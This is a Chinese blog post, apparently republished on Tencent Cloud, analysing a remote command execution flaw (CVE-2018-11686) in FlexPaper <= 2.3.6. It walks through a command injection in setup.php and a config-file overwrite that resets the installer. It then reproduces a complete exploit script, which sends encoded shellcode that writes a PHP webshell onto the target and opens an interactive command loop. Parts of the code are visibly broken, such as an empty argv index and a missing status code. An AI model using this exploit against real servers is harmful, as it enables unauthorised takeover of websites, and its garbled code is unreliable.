FlexPaper <= 2.3.6 RCE远程代码执行漏洞分析附POC

这个漏洞的编号是CVE-2018-11686,但是漏洞本身没有公开,最近看到了exp自己跟着分析了一下。补丁可以在新版本中找到。新的版本2.3.7

https://flowpaper.com/GPL/FlexPaper_2.3.7.zip

关于Flexpaper

FlexPaper是一个开源轻量级的在浏览器上显示各种文档的组件,被设计用来与PDF2SWF一起使用, 使在Flex中显示PDF成为可能,而这个过程并无需PDF软件环境的支持。它可以被当做Flex的库来使用。

另外你也可以通过将一些例如Word、PPT等文档转成PDF,然后实现在线浏览。

漏洞分析

php/setup.php

漏洞的核心代码位于php/setup.php166行,

这个页面是用来安装和初始化的,初始化的结果位于config/Flexpaper

使用了exec函数,只要$pdf2swfEnabled变量可控,就能导致远程代码执行,全局搜索这个这个函数的调用,在php/setup.php324行处:

函数在linux系统中,安装的第二步发生调用,而此时其参数可控,直接get的形式获得:

因此在安装过程中可以远程代码执行的可通过如下方式触发:

http://127.0.0.1/setup.php?step=2&PDF2SWF_PATH=whoami;

在php/change_config.php中,如果安装完毕,已经配置成功了的话是不能进行触发漏洞的,代码如下:

逻辑简单,不再分析。

但是只能在安装过程中触发。要是想稳定的利用这个版本的漏洞还需要其他的方式来删除配置文件,这涉及到本版本的另外一个漏洞,配置文件重写。

php/change_config.php重写文件

可以重写的核心代码在这php/change_config.php:

跟进光标处的函数是有如下的调用栈:

php/lib/config.php    saveConfig($array) 
php/lib/config.php    write_php_ini($array, $this->configFileName)
php/lib/config.php    safefilerewrite($file, $res)($res = json_encode($array))
php/lib/config.php    safefilerewrite($fileName, $dataToSave, $log = "w")

写入的参数$array没有经过处理直接写入到配置文件中,

光标下面的文件函数可以做到任意文件删除。

所以 只需重新提交我们想要的SWF_Directory值为config/就可以的将原有的配置重新写入,payload如下:

import requessts
data = (("SAVE_CONFIG","1"),("PDF_Directory","/var/www/html/pdf"),("SWF_Directory","config/"),("LICENSEKEY",""),("splitmode","1"),("RenderingOrder_PRIM","flash"),("RenderingOrder_SEC","html"))

url = "http://127.0.0.1/php/change_config.php"
r1 = requests.post(url1, data=payload)

删除里配置文件之后,重现访问文件。就可以按照原来的payload进行攻击目标网站,可以执行任意命令,getshell

漏洞证明

POC

#!/usr/bin/env python
#Exploit Title: FlexPaper PHP Publish Service <= 2.3.6 RCE
#Date: March 2019
#Exploit Author: Red Timmy Security - redtimmysec.wordpress.com
#Vendor Homepage: https://flowpaper.com/download/
#Version: <= 2.3.6
#Tested on: Linux/Unix
#CVE : CVE-2018-11686
#Disclamer: This exploit is for educational purpose only
#More details on https://redtimmysec.wordpress.com/2019/03/07/flexpaper-remote-code-execution/

import sys
import requests
import readline
import urllib2
import ssl

try:
        url = sys.argv[]
except:
        print "[-] usage $python shredpaper.py http://targert.com/flexpaper/"
        print sys.exit()

print """
         __                  __                           
   _____/ /_  ________  ____/ ____  ____ _____  ___  _____
  / ___/ __ \/ ___/ _ \/ __  / __ \/ __ `/ __ \/ _ \/ ___/
 (__  / / / / /  /  __/ /_/ / /_/ / /_/ / /_/ /  __/ /    
/____/_/ /_/_/   \___/\__,_/ .___/\__,_/ .___/\___/_/     
                          /_/         /_/                 
"""

print "[*] FlexPaper <= 2.3.6 Remote Command Execution - Red Timmy Security)"
print "[*] Attacking %s" %url
print "[*] Deleting target configuration file"
payload = (("SAVE_CONFIG","1"),("PDF_Directory","/var/www/html/flex2.3.6/flexpaper/pdf"),("SWF_Directory","config/"),("LICENSEKEY",""),("splitmode","1"),("RenderingOrder_PRIM","flash"),("RenderingOrder_SEC","html"))
url1 = url+"/php/change_config.php"
r1 = requests.post(url1, data=payload)
rx = requests.post(url1, data=payload) #resend
shellcode = "%69%64%3b%65%63%68%6f%20%50%44%39%77%61%48%41%4b%43%69%52%72%5a%58%6b%67%50%53%41%6b%58%30%64%46%56%46%73%6e%59%57%4e%6a%5a%58%4e%7a%4a%31%30%37%43%67%70%70%5a%69%67%6b%61%32%56%35%50%54%30%6e%4d%44%6b%34%4e%7a%63%7a%4e%7a%59%78%4d%54%59%30%4e%7a%49%33%4e%44%49%33%4f%44%51%7a%4d%6a%51%34%4d%6a%52%74%65%47%31%74%65%47%30%6e%4b%58%73%4b%43%67%6c%6c%59%32%68%76%49%48%4e%6f%5a%57%78%73%58%32%56%34%5a%57%4d%6f%59%6d%46%7a%5a%54%59%30%58%32%52%6c%59%32%39%6b%5a%53%67%6b%58%30%64%46%56%46%73%6e%59%32%31%6b%4a%31%30%70%4b%54%73%4b%43%6e%30%37%43%6a%38%2b%43%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%20%3e%24%28%70%77%64%29%2f%74%69%67%65%72%5f%73%68%65%6c%6c%2e%70%68%70%3b%69%64"

print "[*] Uploading webshell.."
url2 = url+"/php/setup.php?step=2&PDF2SWF_PATH="+shellcode
r2 = requests.get(url2)
print "[*] Checking if shell  upisloaded successfully"

webshell = url+ '/php/tiger_shell.php'

check_shell = requests.get(webshell)
if check_shell.status_code == :
        print "[*] We got a shell"
else:
        print "[-] Exploit failed, die"
        sys.exit()
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
while True:
        cmd = raw_input("enter cmd>>")
        cmd = cmd.strip()
        cmd = cmd.encode('base64').strip().replace("\n","")
        link = url+"/php/tiger_shell.php?cmd=%s&access=09877376116472742784324824mxmmxm" %cmd.strip()
        #print link
        try:
                response = urllib2.urlopen(link, context=ctx)
                page = response.read()
                print page
        except Exception as exc:
                print exc
                continue

参考

https://redtimmysec.wordpress.com/

https://www.exploit-db.com/exploits/46528

原文发布于微信公众号 - 无级安全(wujisec)

原文发表时间:2019-03-13

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券